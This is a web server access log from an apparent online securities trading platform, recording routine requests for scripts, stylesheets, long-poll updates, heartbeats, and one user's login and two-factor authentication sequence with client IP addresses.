[09/Jan/2026:12:17:49 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:49 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/LogoutAA.jsp HTTP/1.1" 12
[09/Jan/2026:12:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932538853 HTTP/1.1" -
[09/Jan/2026:12:17:49 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Logout HTTP/1.1" 1
[09/Jan/2026:12:17:49 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:17:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767932537501 HTTP/1.1" 3188
[09/Jan/2026:12:17:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932539744 HTTP/1.1" -
[09/Jan/2026:12:17:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932542717 HTTP/1.1" -
[09/Jan/2026:12:17:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932543986 HTTP/1.1" -
[09/Jan/2026:12:17:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:17:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932544774 HTTP/1.1" -
[09/Jan/2026:12:17:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932547973 HTTP/1.1" -
[09/Jan/2026:12:18:00 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:12:18:00 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:12:18:00 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:12:18:00 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:18:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932549113 HTTP/1.1" -
[09/Jan/2026:12:18:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932549806 HTTP/1.1" -
[09/Jan/2026:12:18:00 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 453
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:12:18:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:12:18:02 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:12:18:02 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:18:02 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767932549173 HTTP/1.1" 3188
[09/Jan/2026:12:18:02 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:18:02 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:12:18:02 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:18:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932553197 HTTP/1.1" -
[09/Jan/2026:12:18:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932554263 HTTP/1.1" -
[09/Jan/2026:12:18:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932554851 HTTP/1.1" -
[09/Jan/2026:12:18:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:18:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932558459 HTTP/1.1" -
[09/Jan/2026:12:18:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932559463 HTTP/1.1" -
[09/Jan/2026:12:18:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932559891 HTTP/1.1" -
[09/Jan/2026:12:18:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932563608 HTTP/1.1" -
[09/Jan/2026:12:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932564669 HTTP/1.1" -
[09/Jan/2026:12:18:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932564913 HTTP/1.1" -
[09/Jan/2026:12:18:15 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:18:15 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 417
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
